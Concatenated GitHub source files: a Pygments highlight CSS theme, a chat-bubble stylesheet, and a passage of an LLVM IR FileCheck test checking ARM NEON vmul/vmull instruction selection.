.highlight .p { color: #f8f8f2 } /* Punctuation */
.highlight .cm { color: #75715e } /* Comment.Multiline */
.highlight .cp { color: #75715e } /* Comment.Preproc */
.highlight .c1 { color: #75715e } /* Comment.Single */
.highlight .cs { color: #75715e } /* Comment.Special */
.highlight .ge { font-style: italic } /* Generic.Emph */
.highlight .gs { font-weight: bold } /* Generic.Strong */
.highlight .kc { color: #66d9ef } /* Keyword.Constant */
.highlight .kd { color: #66d9ef } /* Keyword.Declaration */
.highlight .kn { color: #f92672 } /* Keyword.Namespace */
.highlight .kp { color: #66d9ef } /* Keyword.Pseudo */
.highlight .kr { color: #66d9ef } /* Keyword.Reserved */
.highlight .kt { color: #66d9ef } /* Keyword.Type */
.highlight .ld { color: #e6db74 } /* Literal.Date */
.highlight .m { color: #ae81ff } /* Literal.Number */
.highlight .s { color: #e6db74 } /* Literal.String */
.highlight .na { color: #a6e22e } /* Name.Attribute */
.highlight .nb { color: #f8f8f2 } /* Name.Builtin */
.highlight .nc { color: #a6e22e } /* Name.Class */
.highlight .no { color: #66d9ef } /* Name.Constant */
.highlight .nd { color: #a6e22e } /* Name.Decorator */
.highlight .ni { color: #f8f8f2 } /* Name.Entity */
.highlight .ne { color: #a6e22e } /* Name.Exception */
.highlight .nf { color: #a6e22e } /* Name.Function */
.highlight .nl { color: #f8f8f2 } /* Name.Label */
.highlight .nn { color: #f8f8f2 } /* Name.Namespace */
.highlight .nx { color: #a6e22e } /* Name.Other */
.highlight .py { color: #f8f8f2 } /* Name.Property */
.highlight .nt { color: #f92672 } /* Name.Tag */
.highlight .nv { color: #f8f8f2 } /* Name.Variable */
.highlight .ow { color: #f92672 } /* Operator.Word */
.highlight .w { color: #f8f8f2 } /* Text.Whitespace */
.highlight .mf { color: #ae81ff } /* Literal.Number.Float */
.highlight .mh { color: #ae81ff } /* Literal.Number.Hex */
.highlight .mi { color: #ae81ff } /* Literal.Number.Integer */
.highlight .mo { color: #ae81ff } /* Literal.Number.Oct */
.highlight .sb { color: #e6db74 } /* Literal.String.Backtick */
.highlight .sc { color: #e6db74 } /* Literal.String.Char */
.highlight .sd { color: #e6db74 } /* Literal.String.Doc */
.highlight .s2 { color: #e6db74 } /* Literal.String.Double */
.highlight .se { color: #ae81ff } /* Literal.String.Escape */
.highlight .sh { color: #e6db74 } /* Literal.String.Heredoc */
.highlight .si { color: #e6db74 } /* Literal.String.Interpol */
.highlight .sx { color: #e6db74 } /* Literal.String.Other */
.highlight .sr { color: #e6db74 } /* Literal.String.Regex */
.highlight .s1 { color: #e6db74 } /* Literal.String.Single */
.highlight .ss { color: #e6db74 } /* Literal.String.Symbol */
.highlight .bp { color: #f8f8f2 } /* Name.Builtin.Pseudo */
.highlight .vc { color: #f8f8f2 } /* Name.Variable.Class */
.highlight .vg { color: #f8f8f2 } /* Name.Variable.Global */
.highlight .vi { color: #f8f8f2 } /* Name.Variable.Instance */
.highlight .il { color: #ae81ff } /* Literal.Number.Integer.Long */
.highlight .gh { } /* Generic Heading & Diff Header */
.highlight .gu { color: #75715e; } /* Generic.Subheading & Diff Unified/Comment? */
.highlight .gd { color: #f92672; } /* Generic.Deleted & Diff Deleted */
.highlight .gi { color: #a6e22e; } /* Generic.Inserted & Diff Inserted */
|
{
"pile_set_name": "Github"
}
|
@import url("../main.css");
/* outgoing */
.outgoingItem .timeStamp {
color:#f8b1b1;
}
.outgoingItem .myBubble .indicator {
background:url("../images/redIndicator.png") no-repeat top left;
}
.outgoingItem .tableBubble .tl {
background:url("../images/redCurves.png") no-repeat top left;
}
.outgoingItem .tableBubble .tr {
background:url("../images/redCurves.png") no-repeat top right;
}
.outgoingItem .tableBubble .head {
background:url("../images/redCurves.png") no-repeat -10px 0;
}
.outgoingItem .tableBubble .message {
background:url("../images/redBackground.png") repeat-y top left;
}
.outgoingItem .tableBubble .messageRight {
background:url("../images/redBackground.png") repeat-y top right;
}
.outgoingItem .tableBubble .bl {
background:url("../images/redCurves.png") no-repeat bottom left;
}
.outgoingItem .tableBubble .br {
background:url("../images/redCurves.png") no-repeat bottom right;
}
.outgoingItem .followUp {
background-color:#ffdada;
border-bottom:1px solid #fff;
}
/*incoming */
.incomingItem .timeStamp {
color:#b3cf77;
}
.incomingItem .myBubble .indicator {
background:url("../images/greenIndicator.png") no-repeat top left;
}
.incomingItem .timeStamp {
color:#b3cf77;
}
.incomingItem .tableBubble .tl {
background:url("../images/greenCurves.png") no-repeat top left;
}
.incomingItem .tableBubble .tr {
background:url("../images/greenCurves.png") no-repeat top right;
}
.incomingItem .tableBubble .head {
background:url("../images/greenCurves.png") no-repeat -10px 0;
}
.incomingItem .tableBubble .message {
background:url("../images/greenBackground.png") repeat-y top left;
}
.incomingItem .tableBubble .messageRight {
background:url("../images/greenBackground.png") repeat-y top right;
}
.incomingItem .tableBubble .bl {
background:url("../images/greenCurves.png") no-repeat bottom left;
}
.incomingItem .tableBubble .br {
background:url("../images/greenCurves.png") no-repeat bottom right;
}
.incomingItem .followUp {
background-color:#f4f2cb;
border-bottom:1px solid #fff;
}
|
{
"pile_set_name": "Github"
}
|
; RUN: llc < %s -march=arm -mcpu=cortex-a8 | FileCheck %s
define <8 x i8> @vmuli8(<8 x i8>* %A, <8 x i8>* %B) nounwind {
;CHECK: vmuli8:
;CHECK: vmul.i8
%tmp1 = load <8 x i8>* %A
%tmp2 = load <8 x i8>* %B
%tmp3 = mul <8 x i8> %tmp1, %tmp2
ret <8 x i8> %tmp3
}
define <4 x i16> @vmuli16(<4 x i16>* %A, <4 x i16>* %B) nounwind {
;CHECK: vmuli16:
;CHECK: vmul.i16
%tmp1 = load <4 x i16>* %A
%tmp2 = load <4 x i16>* %B
%tmp3 = mul <4 x i16> %tmp1, %tmp2
ret <4 x i16> %tmp3
}
define <2 x i32> @vmuli32(<2 x i32>* %A, <2 x i32>* %B) nounwind {
;CHECK: vmuli32:
;CHECK: vmul.i32
%tmp1 = load <2 x i32>* %A
%tmp2 = load <2 x i32>* %B
%tmp3 = mul <2 x i32> %tmp1, %tmp2
ret <2 x i32> %tmp3
}
define <2 x float> @vmulf32(<2 x float>* %A, <2 x float>* %B) nounwind {
;CHECK: vmulf32:
;CHECK: vmul.f32
%tmp1 = load <2 x float>* %A
%tmp2 = load <2 x float>* %B
%tmp3 = fmul <2 x float> %tmp1, %tmp2
ret <2 x float> %tmp3
}
define <8 x i8> @vmulp8(<8 x i8>* %A, <8 x i8>* %B) nounwind {
;CHECK: vmulp8:
;CHECK: vmul.p8
%tmp1 = load <8 x i8>* %A
%tmp2 = load <8 x i8>* %B
%tmp3 = call <8 x i8> @llvm.arm.neon.vmulp.v8i8(<8 x i8> %tmp1, <8 x i8> %tmp2)
ret <8 x i8> %tmp3
}
define <16 x i8> @vmulQi8(<16 x i8>* %A, <16 x i8>* %B) nounwind {
;CHECK: vmulQi8:
;CHECK: vmul.i8
%tmp1 = load <16 x i8>* %A
%tmp2 = load <16 x i8>* %B
%tmp3 = mul <16 x i8> %tmp1, %tmp2
ret <16 x i8> %tmp3
}
define <8 x i16> @vmulQi16(<8 x i16>* %A, <8 x i16>* %B) nounwind {
;CHECK: vmulQi16:
;CHECK: vmul.i16
%tmp1 = load <8 x i16>* %A
%tmp2 = load <8 x i16>* %B
%tmp3 = mul <8 x i16> %tmp1, %tmp2
ret <8 x i16> %tmp3
}
define <4 x i32> @vmulQi32(<4 x i32>* %A, <4 x i32>* %B) nounwind {
;CHECK: vmulQi32:
;CHECK: vmul.i32
%tmp1 = load <4 x i32>* %A
%tmp2 = load <4 x i32>* %B
%tmp3 = mul <4 x i32> %tmp1, %tmp2
ret <4 x i32> %tmp3
}
define <4 x float> @vmulQf32(<4 x float>* %A, <4 x float>* %B) nounwind {
;CHECK: vmulQf32:
;CHECK: vmul.f32
%tmp1 = load <4 x float>* %A
%tmp2 = load <4 x float>* %B
%tmp3 = fmul <4 x float> %tmp1, %tmp2
ret <4 x float> %tmp3
}
define <16 x i8> @vmulQp8(<16 x i8>* %A, <16 x i8>* %B) nounwind {
;CHECK: vmulQp8:
;CHECK: vmul.p8
%tmp1 = load <16 x i8>* %A
%tmp2 = load <16 x i8>* %B
%tmp3 = call <16 x i8> @llvm.arm.neon.vmulp.v16i8(<16 x i8> %tmp1, <16 x i8> %tmp2)
ret <16 x i8> %tmp3
}
declare <8 x i8> @llvm.arm.neon.vmulp.v8i8(<8 x i8>, <8 x i8>) nounwind readnone
declare <16 x i8> @llvm.arm.neon.vmulp.v16i8(<16 x i8>, <16 x i8>) nounwind readnone
define arm_aapcs_vfpcc <2 x float> @test_vmul_lanef32(<2 x float> %arg0_float32x2_t, <2 x float> %arg1_float32x2_t) nounwind readnone {
entry:
; CHECK: test_vmul_lanef32:
; CHECK: vmul.f32 d0, d0, d1[0]
%0 = shufflevector <2 x float> %arg1_float32x2_t, <2 x float> undef, <2 x i32> zeroinitializer ; <<2 x float>> [#uses=1]
%1 = fmul <2 x float> %0, %arg0_float32x2_t ; <<2 x float>> [#uses=1]
ret <2 x float> %1
}
define arm_aapcs_vfpcc <4 x i16> @test_vmul_lanes16(<4 x i16> %arg0_int16x4_t, <4 x i16> %arg1_int16x4_t) nounwind readnone {
entry:
; CHECK: test_vmul_lanes16:
; CHECK: vmul.i16 d0, d0, d1[1]
%0 = shufflevector <4 x i16> %arg1_int16x4_t, <4 x i16> undef, <4 x i32> <i32 1, i32 1, i32 1, i32 1> ; <<4 x i16>> [#uses$
%1 = mul <4 x i16> %0, %arg0_int16x4_t ; <<4 x i16>> [#uses=1]
ret <4 x i16> %1
}
define arm_aapcs_vfpcc <2 x i32> @test_vmul_lanes32(<2 x i32> %arg0_int32x2_t, <2 x i32> %arg1_int32x2_t) nounwind readnone {
entry:
; CHECK: test_vmul_lanes32:
; CHECK: vmul.i32 d0, d0, d1[1]
%0 = shufflevector <2 x i32> %arg1_int32x2_t, <2 x i32> undef, <2 x i32> <i32 1, i32 1> ; <<2 x i32>> [#uses=1]
%1 = mul <2 x i32> %0, %arg0_int32x2_t ; <<2 x i32>> [#uses=1]
ret <2 x i32> %1
}
define arm_aapcs_vfpcc <4 x float> @test_vmulQ_lanef32(<4 x float> %arg0_float32x4_t, <2 x float> %arg1_float32x2_t) nounwind readnone {
entry:
; CHECK: test_vmulQ_lanef32:
; CHECK: vmul.f32 q0, q0, d2[1]
%0 = shufflevector <2 x float> %arg1_float32x2_t, <2 x float> undef, <4 x i32> <i32 1, i32 1, i32 1, i32 1> ; <<4 x float>$
%1 = fmul <4 x float> %0, %arg0_float32x4_t ; <<4 x float>> [#uses=1]
ret <4 x float> %1
}
define arm_aapcs_vfpcc <8 x i16> @test_vmulQ_lanes16(<8 x i16> %arg0_int16x8_t, <4 x i16> %arg1_int16x4_t) nounwind readnone {
entry:
; CHECK: test_vmulQ_lanes16:
; CHECK: vmul.i16 q0, q0, d2[1]
%0 = shufflevector <4 x i16> %arg1_int16x4_t, <4 x i16> undef, <8 x i32> <i32 1, i32 1, i32 1, i32 1, i32 1, i32 1, i32 1, i32 1>
%1 = mul <8 x i16> %0, %arg0_int16x8_t ; <<8 x i16>> [#uses=1]
ret <8 x i16> %1
}
define arm_aapcs_vfpcc <4 x i32> @test_vmulQ_lanes32(<4 x i32> %arg0_int32x4_t, <2 x i32> %arg1_int32x2_t) nounwind readnone {
entry:
; CHECK: test_vmulQ_lanes32:
; CHECK: vmul.i32 q0, q0, d2[1]
%0 = shufflevector <2 x i32> %arg1_int32x2_t, <2 x i32> undef, <4 x i32> <i32 1, i32 1, i32 1, i32 1> ; <<4 x i32>> [#uses$
%1 = mul <4 x i32> %0, %arg0_int32x4_t ; <<4 x i32>> [#uses=1]
ret <4 x i32> %1
}
define <8 x i16> @vmulls8(<8 x i8>* %A, <8 x i8>* %B) nounwind {
;CHECK: vmulls8:
;CHECK: vmull.s8
%tmp1 = load <8 x i8>* %A
%tmp2 = load <8 x i8>* %B
%tmp3 = sext <8 x i8> %tmp1 to <8 x i16>
%tmp4 = sext <8 x i8> %tmp2 to <8 x i16>
%tmp5 = mul <8 x i16> %tmp3, %tmp4
ret <8 x i16> %tmp5
}
define <8 x i16> @vmulls8_int(<8 x i8>* %A, <8 x i8>* %B) nounwind {
;CHECK: vmulls8_int:
;CHECK: vmull.s8
%tmp1 = load <8 x i8>* %A
%tmp2 = load <8 x i8>* %B
%tmp3 = call <8 x i16> @llvm.arm.neon.vmulls.v8i16(<8 x i8> %tmp1, <8 x i8> %tmp2)
ret <8 x i16> %tmp3
}
define <4 x i32> @vmulls16(<4 x i16>* %A, <4 x i16>* %B) nounwind {
;CHECK: vmulls16:
;CHECK: vmull.s16
%tmp1 = load <4 x i16>* %A
%tmp2 = load <4 x i16>* %B
%tmp3 = sext <4 x i16> %tmp1 to <4 x i32>
%tmp4 = sext <4 x i16> %tmp2 to <4 x i32>
%tmp5 = mul <4 x i32> %tmp3, %tmp4
ret <4 x i32> %tmp5
}
define <4 x i32> @vmulls16_int(<4 x i16>* %A, <4 x i16>* %B) nounwind {
;CHECK: vmulls16_int:
;CHECK: vmull.s16
%tmp1 = load <4 x i16>* %A
%tmp2 = load <4 x i16>* %B
%tmp3 = call <4 x i32> @llvm.arm.neon.vmulls.v4i32(<4 x i16> %tmp1, <4 x i16> %tmp2)
ret <4 x i32> %tmp3
}
define <2 x i64> @vmulls32(<2 x i32>* %A, <2 x i32>* %B) nounwind {
;CHECK: vmulls32:
;CHECK: vmull.s32
%tmp1 = load <2 x i32>* %A
%tmp2 = load <2 x i32>* %B
%tmp3 = sext <2 x i32> %tmp1 to <2 x i64>
%tmp4 = sext <2 x i32> %tmp2 to <2 x i64>
%tmp5 = mul <2 x i64> %tmp3, %tmp4
ret <2 x i64> %tmp5
}
define <2 x i64> @vmulls32_int(<2 x i32>* %A, <2 x i32>* %B) nounwind {
;CHECK: vmulls32_int:
;CHECK: vmull.s32
%tmp1 = load <2 x i32>* %A
%tmp2 = load <2 x i32>* %B
%tmp3 = call <2 x i64> @llvm.arm.neon.vmulls.v2i64(<2 x i32> %tmp1, <2 x i32> %tmp2)
ret <2 x i64> %tmp3
}
define <8 x i16> @vmullu8(<8 x i8>* %A, <8 x i8>* %B) nounwind {
;CHECK: vmullu8:
;CHECK: vmull.u8
%tmp1 = load <8 x i8>* %A
%tmp2 = load <8 x i8>* %B
%tmp3 = zext <8 x i8> %tmp1 to <8 x i16>
%tmp4 = zext <8 x i8> %tmp2 to <8 x i16>
%tmp5 = mul <8 x i16> %tmp3, %tmp4
ret <8 x i16> %tmp5
}
define <8 x i16> @vmullu8_int(<8 x i8>* %A, <8 x i8>* %B) nounwind {
;CHECK: vmullu8_int:
;CHECK: vmull.u8
%tmp1 = load <8 x i8>* %A
%tmp2 = load <8 x i8>* %B
%tmp3 = call <8 x i16> @llvm.arm.neon.vmullu.v8i16(<8 x i8> %tmp1, <8 x i8> %tmp2)
ret <8 x i16> %tmp3
}
define <4 x i32> @vmullu16(<4 x i16>* %A, <4 x i16>* %B) nounwind {
;CHECK: vmullu16:
;CHECK: vmull.u16
%tmp1 = load <4 x i16>* %A
%tmp2 = load <4 x i16>* %B
%tmp3 = zext <4 x i16> %tmp1 to <4 x i32>
%tmp4 = zext <4 x i16> %tmp2 to <4 x i32>
%tmp5 = mul <4 x i32> %tmp3, %tmp4
ret <4 x i32> %tmp5
}
define <4 x i32> @vmullu16_int(<4 x i16>* %A, <4 x i16>* %B) nounwind {
;CHECK: vmullu16_int:
;CHECK: vmull.u16
%tmp1 = load <4 x i16>* %A
%tmp2 = load <4 x i16>* %B
%tmp3 = call <4 x i32> @llvm.arm.neon.vmullu.v4i32(<4 x i16> %tmp1, <4 x i16> %tmp2)
ret <4 x i32> %tmp3
}
define <2 x i64> @vmullu32(<2 x i32>* %A, <2 x i32>* %B) nounwind {
;CHECK: vmullu32:
;CHECK: vmull.u32
%tmp1 = load <2 x i32>* %A
%tmp2 = load <2 x i32>* %B
%tmp3 = zext <2 x i32> %tmp1 to <2 x i64>
%tmp4 = zext <2 x i32> %tmp2 to <2 x i64>
%tmp5 = mul <2 x i64> %tmp3, %tmp4
ret <2 x i64> %tmp5
}
define <2 x i64> @vmullu32_int(<2 x i32>* %A, <2 x i32>* %B) nounwind {
;CHECK: vmullu32_int:
;CHECK: vmull.u32
%tmp1 = load <2 x i32>* %A
%tmp2 = load <2 x i32>* %B
%tmp3 = call <2 x i64> @llvm.arm.neon.vmullu.v2i64(<2 x i32> %tmp1, <2 x i32> %tmp2)
ret <2 x i64> %tmp3
}
define <8 x i16> @vmullp8(<8 x i8>* %A, <8 x i8>* %B) nounwind {
;CHECK: vmullp8:
;CHECK: vmull.p8
%tmp1 = load <8 x i8>* %A
%tmp2 = load <8 x i8>* %B
%tmp3 = call <8 x i16> @llvm.arm.neon.vmullp.v8i16(<8 x i8> %tmp1, <8 x i8> %tmp2)
ret <8 x i16> %tmp3
}
define arm_aapcs_vfpcc <4 x i32> @test_vmull_lanes16(<4 x i16> %arg0_int16x4_t, <4 x i16> %arg1_int16x4_t) nounwind readnone {
entry:
; CHECK: test_vmull_lanes16
; CHECK: vmull.s16 q0, d0, d1[1]
%0 = shufflevector <4 x i16> %arg1_int16x4_t, <4 x i16> undef, <4 x i32> <i32 1, i32 1, i32 1, i32 1> ; <<4 x i16>> [#uses=1]
%1 = sext <4 x i16> %arg0_int16x4_t to <4 x i32>
%2 = sext <4 x i16> %0 to <4 x i32>
%3 = mul <4 x i32> %1, %2
ret <4 x i32> %3
}
define arm_aapcs_vfpcc <4 x i32> @test_vmull_lanes16_int(<4 x i16> %arg0_int16x4_t, <4 x i16> %arg1_int16x4_t) nounwind readnone {
entry:
; CHECK: test_vmull_lanes16_int
; CHECK: vmull.s16 q0, d0, d1[1]
%0 = shufflevector <4 x i16> %arg1_int16x4_t, <4 x i16> undef, <4 x i32> <i32 1, i32 1, i32 1, i32 1> ; <<4 x i16>> [#uses=1]
%1 = tail call <4 x i32> @llvm.arm.neon.vmulls.v4i32(<4 x i16> %arg0_int16x4_t, <4 x i16> %0) ; <<4 x i32>> [#uses=1]
ret <4 x i32> %1
}
define arm_aapcs_vfpcc <2 x i64> @test_vmull_lanes32(<2 x i32> %arg0_int32x2_t, <2 x i32> %arg1_int32x2_t) nounwind readnone {
entry:
; CHECK: test_vmull_lanes32
; CHECK: vmull.s32 q0, d0, d1[1]
%0 = shufflevector <2 x i32> %arg1_int32x2_t, <2 x i32> undef, <2 x i32> <i32 1, i32 1> ; <<2 x i32>> [#uses=1]
%1 = sext <2 x i32> %arg0_int32x2_t to <2 x i64>
%2 = sext <2 x i32> %0 to <2 x i64>
%3 = mul <2 x i64> %1, %2
ret <2 x i64> %3
}
define arm_aapcs_vfpcc <2 x i64> @test_vmull_lanes32_int(<2 x i32> %arg0_int32x2_t, <2 x i32> %arg1_int32x2_t) nounwind readnone {
entry:
; CHECK: test_vmull_lanes32_int
; CHECK: vmull.s32 q0, d0, d1[1]
%0 = shufflevector <2 x i32> %arg1_int32x2_t, <2 x i32> undef, <2 x i32> <i32 1, i32 1> ; <<2 x i32>> [#uses=1]
%1 = tail call <2 x i64> @llvm.arm.neon.vmulls.v2i64(<2 x i32> %arg0_int32x2_t, <2 x i32> %0) ; <<2 x i64>> [#uses=1]
ret <2 x i64> %1
}
define arm_aapcs_vfpcc <4 x i32> @test_vmull_laneu16(<4 x i16> %arg0_uint16x4_t, <4 x i16> %arg1_uint16x4_t) nounwind readnone {
entry:
; CHECK: test_vmull_laneu16
; CHECK: vmull.u16 q0, d0, d1[1]
%0 = shufflevector <4 x i16> %arg1_uint16x4_t, <4 x i16> undef, <4 x i32> <i32 1, i32 1, i32 1, i32 1> ; <<4 x i16>> [#uses=1]
%1 = zext <4 x i16> %arg0_uint16x4_t to <4 x i32>
%2 = zext <4 x i16> %0 to <4 x i32>
%3 = mul <4 x i32> %1, %2
ret <4 x i32> %3
}
define arm_aapcs_vfpcc <4 x i32> @test_vmull_laneu16_int(<4 x i16> %arg0_uint16x4_t, <4 x i16> %arg1_uint16x4_t) nounwind readnone {
entry:
; CHECK: test_vmull_laneu16_int
; CHECK: vmull.u16 q0, d0, d1[1]
%0 = shufflevector <4 x i16> %arg1_uint16x4_t, <4 x i16> undef, <4 x i32> <i32 1, i32 1, i32 1, i32 1> ; <<4 x i16>> [#uses=1]
%1 = tail call <4 x i32> @llvm.arm.neon.vmullu.v4i32(<4 x i16> %arg0_uint16x4_t, <4 x i16> %0) ; <<4 x i32>> [#uses=1]
ret <4 x i32> %1
}
define arm_aapcs_vfpcc <2 x i64> @test_vmull_laneu32(<2 x i32> %arg0_uint32x2_t, <2 x i32> %arg1_uint32x2_t) nounwind readnone {
entry:
; CHECK: test_vmull_laneu32
; CHECK: vmull.u32 q0, d0, d1[1]
%0 = shufflevector <2 x i32> %arg1_uint32x2_t, <2 x i32> undef, <2 x i32> <i32 1, i32 1> ; <<2 x i32>> [#uses=1]
%1 = zext <2 x i32> %arg0_uint32x2_t to <2 x i64>
%2 = zext <2 x i32> %0 to <2 x i64>
%3 = mul <2 x i64> %1, %2
ret <2 x i64> %3
}
define arm_aapcs_vfpcc <2 x i64> @test_vmull_laneu32_int(<2 x i32> %arg0_uint32x2_t, <2 x i32> %arg1_uint32x2_t) nounwind readnone {
entry:
; CHECK: test_vmull_laneu32_int
; CHECK: vmull.u32 q0, d0, d1[1]
%0 = shufflevector <2 x i32> %arg1_uint32x2_t, <2 x i32> undef, <2 x i32> <i32 1, i32 1> ; <<2 x i32>> [#uses=1]
%1 = tail call <2 x i64> @llvm.arm.neon.vmullu.v2i64(<2 x i32> %arg0_uint32x2_t, <2 x i32> %0) ; <<2 x i64>> [#uses=1]
ret <2 x i64> %1
}
declare <8 x i16> @llvm.arm.neon.vmulls.v8i16(<8 x i8>, <8 x i8>) nounwind readnone
declare <4 x i32> @llvm.arm.neon.vmulls.v4i32(<4 x i16>, <4 x i16>) nounwind readnone
declare <2 x i64> @llvm.arm.neon.vmulls.v2i64(<2 x i32>, <2 x i32>) nounwind readnone
declare <8 x i16> @llvm.arm.neon.vmullu.v8i16(<8 x i8>, <8 x i8>) nounwind readnone
declare <4 x i32> @llvm.arm.neon.vmullu.v4i32(<4 x i16>, <4 x i16>) nounwind readnone
declare <2 x i64> @llvm.arm.neon.vmullu.v2i64(<2 x i32>, <2 x i32>) nounwind readnone
declare <8 x i16> @llvm.arm.neon.vmullp.v8i16(<8 x i8>, <8 x i8>) nounwind readnone
; Radar 8687140
; VMULL needs to recognize BUILD_VECTORs with sign/zero-extended elements.
define <8 x i16> @vmull_extvec_s8(<8 x i8> %arg) nounwind {
; CHECK: vmull_extvec_s8
; CHECK: vmull.s8
%tmp3 = sext <8 x i8> %arg to <8 x i16>
%tmp4 = mul <8 x i16> %tmp3, <i16 -12, i16 -12, i16 -12, i16 -12, i16 -12, i16 -12, i16 -12, i16 -12>
ret <8 x i16> %tmp4
}
define <8 x i16> @vmull_extvec_u8(<8 x i8> %arg) nounwind {
; CHECK: vmull_extvec_u8
; CHECK: vmull.u8
%tmp3 = zext <8 x i8> %arg to <8 x i16>
%tmp4 = mul <8 x i16> %tmp3, <i16 12, i16 12, i16 12, i16 12, i16 12, i16 12, i16 12, i16 12>
ret <8 x i16> %tmp4
}
define <8 x i16> @vmull_noextvec_s8(<8 x i8> %arg) nounwind {
; Do not use VMULL if the BUILD_VECTOR element values are too big.
; CHECK: vmull_noextvec_s8
; CHECK: vmovl.s8
; CHECK: vmul.i16
%tmp3 = sext <8 x i8> %arg to <8 x i16>
%tmp4 = mul <8 x i16> %tmp3, <i16 -999, i16 -999, i16 -999, i16 -999, i16 -999, i16 -999, i16 -999, i16 -999>
ret <8 x i16> %tmp4
}
define <8 x i16> @vmull_noextvec_u8(<8 x i8> %arg) nounwind {
; Do not use VMULL if the BUILD_VECTOR element values are too big.
; CHECK: vmull_noextvec_u8
; CHECK: vmovl.u8
; CHECK: vmul.i16
%tmp3 = zext <8 x i8> %arg to <8 x i16>
%tmp4 = mul <8 x i16> %tmp3, <i16 999, i16 999, i16 999, i16 999, i16 999, i16 999, i16 999, i16 999>
ret <8 x i16> %tmp4
}
define <4 x i32> @vmull_extvec_s16(<4 x i16> %arg) nounwind {
; CHECK: vmull_extvec_s16
; CHECK: vmull.s16
%tmp3 = sext <4 x i16> %arg to <4 x i32>
%tmp4 = mul <4 x i32> %tmp3, <i32 -12, i32 -12, i32 -12, i32 -12>
ret <4 x i32> %tmp4
}
define <4 x i32> @vmull_extvec_u16(<4 x i16> %arg) nounwind {
; CHECK: vmull_extvec_u16
; CHECK: vmull.u16
%tmp3 = zext <4 x i16> %arg to <4 x i32>
%tmp4 = mul <4 x i32> %tmp3, <i32 1234, i32 1234, i32 1234, i32 1234>
ret <4 x i32> %tmp4
}
define <2 x i64> @vmull_extvec_s32(<2 x i32> %arg) nounwind {
; CHECK: vmull_extvec_s32
; CHECK: vmull.s32
%tmp3 = sext <2 x i32> %arg to <2 x i64>
%tmp4 = mul <2 x i64> %tmp3, <i64 -1234, i64 -1234>
ret <2 x i64> %tmp4
}
define <2 x i64> @vmull_extvec_u32(<2 x i32> %arg) nounwind {
; CHECK: vmull_extvec_u32
; CHECK: vmull.u32
%tmp3 = zext <2 x i32> %arg to <2 x i64>
%tmp4 = mul <2 x i64> %tmp3, <i64 1234, i64 1234>
ret <2 x i64> %tmp4
}
; rdar://9197392
define void @distribute(i16* %dst, i8* %src, i32 %mul) nounwind {
entry:
; CHECK: distribute:
; CHECK: vmull.u8 [[REG1:(q[0-9]+)]], d{{.*}}, [[REG2:(d[0-9]+)]]
; CHECK: vmlal.u8 [[REG1]], d{{.*}}, [[REG2]]
%0 = trunc i32 %mul to i8
%1 = insertelement <8 x i8> undef, i8 %0, i32 0
%2 = shufflevector <8 x i8> %1, <8 x i8> undef, <8 x i32> zeroinitializer
%3 = tail call <16 x i8> @llvm.arm.neon.vld1.v16i8(i8* %src, i32 1)
%4 = bitcast <16 x i8> %3 to <2 x double>
%5 = extractelement <2 x double> %4, i32 1
%6 = bitcast double %5 to <8 x i8>
%7 = zext <8 x i8> %6 to <8 x i16>
%8 = zext <8 x i8> %2 to <8 x i16>
%9 = extractelement <2 x double> %4, i32 0
%10 = bitcast double %9 to <8 x i8>
%11 = zext <8 x i8> %10 to <8 x i16>
%12 = add <8 x i16> %7, %11
%13 = mul <8 x i16> %12, %8
%14 = bitcast i16* %dst to i8*
tail call void @llvm.arm.neon.vst1.v8i16(i8* %14, <8 x i16> %13, i32 2)
ret void
}
declare <16 x i8> @llvm.arm.neon.vld1.v16i8(i8*, i32) nounwind readonly
declare void @llvm.arm.neon.vst1.v8i16(i8*, <8 x i16>, i32) nounwind
; Take advantage of the Cortex-A8 multiplier accumulator forward.
%struct.uint8x8_t = type { <8 x i8> }
define void @distribute2(%struct.uint8x8_t* nocapture %dst, i8* %src, i32 %mul) nounwind {
entry:
; CHECK: distribute2
; CHECK-NOT: vadd.i8
; CHECK: vmul.i8
; CHECK: vmla.i8
%0 = trunc i32 %mul to i8
%1 = insertelement <8 x i8> undef, i8 %0, i32 0
%2 = shufflevector <8 x i8> %1, <8 x i8> undef, <8 x i32> zeroinitializer
%3 = tail call <16 x i8> @llvm.arm.neon.vld1.v16i8(i8* %src, i32 1)
%4 = bitcast <16 x i8> %3 to <2 x double>
%5 = extractelement <2 x double> %4, i32 1
%6 = bitcast double %5 to <8 x i8>
%7 = extractelement <2 x double> %4, i32 0
%8 = bitcast double %7 to <8 x i8>
%9 = add <8 x i8> %6, %8
%10 = mul <8 x i8> %9, %2
%11 = getelementptr inbounds %struct.uint8x8_t* %dst, i32 0, i32 0
store <8 x i8> %10, <8 x i8>* %11, align 8
ret void
}
define void @distribute2_commutative(%struct.uint8x8_t* nocapture %dst, i8* %src, i32 %mul) nounwind {
entry:
; CHECK: distribute2_commutative
; CHECK-NOT: vadd.i8
; CHECK: vmul.i8
; CHECK: vmla.i8
%0 = trunc i32 %mul to i8
%1 = insertelement <8 x i8> undef, i8 %0, i32 0
%2 = shufflevector <8 x i8> %1, <8 x i8> undef, <8 x i32> zeroinitializer
%3 = tail call <16 x i8> @llvm.arm.neon.vld1.v16i8(i8* %src, i32 1)
%4 = bitcast <16 x i8> %3 to <2 x double>
%5 = extractelement <2 x double> %4, i32 1
%6 = bitcast double %5 to <8 x i8>
%7 = extractelement <2 x double> %4, i32 0
%8 = bitcast double %7 to <8 x i8>
%9 = add <8 x i8> %6, %8
%10 = mul <8 x i8> %2, %9
%11 = getelementptr inbounds %struct.uint8x8_t* %dst, i32 0, i32 0
store <8 x i8> %10, <8 x i8>* %11, align 8
ret void
}
; If one operand has a zero-extend and the other a sign-extend, vmull
; cannot be used.
define i16 @vmullWithInconsistentExtensions(<8 x i8> %vec) {
; CHECK: vmullWithInconsistentExtensions
; CHECK-NOT: vmull.s8
%1 = sext <8 x i8> %vec to <8 x i16>
%2 = mul <8 x i16> %1, <i16 255, i16 255, i16 255, i16 255, i16 255, i16 255, i16 255, i16 255>
%3 = extractelement <8 x i16> %2, i32 0
ret i16 %3
}
; A constant build_vector created for a vmull with half-width elements must
; not introduce illegal types. <rdar://problem/11324364>
define void @vmull_buildvector() nounwind optsize ssp align 2 {
; CHECK: vmull_buildvector
entry:
br i1 undef, label %for.end179, label %for.body.lr.ph
for.body.lr.ph: ; preds = %entry
br label %for.body
for.cond.loopexit: ; preds = %for.body33, %for.body
br i1 undef, label %for.end179, label %for.body
for.body: ; preds = %for.cond.loopexit, %for.body.lr.ph
br i1 undef, label %for.cond.loopexit, label %for.body33.lr.ph
for.body33.lr.ph: ; preds = %for.body
%.sub = select i1 undef, i32 0, i32 undef
br label %for.body33
for.body33: ; preds = %for.body33, %for.body33.lr.ph
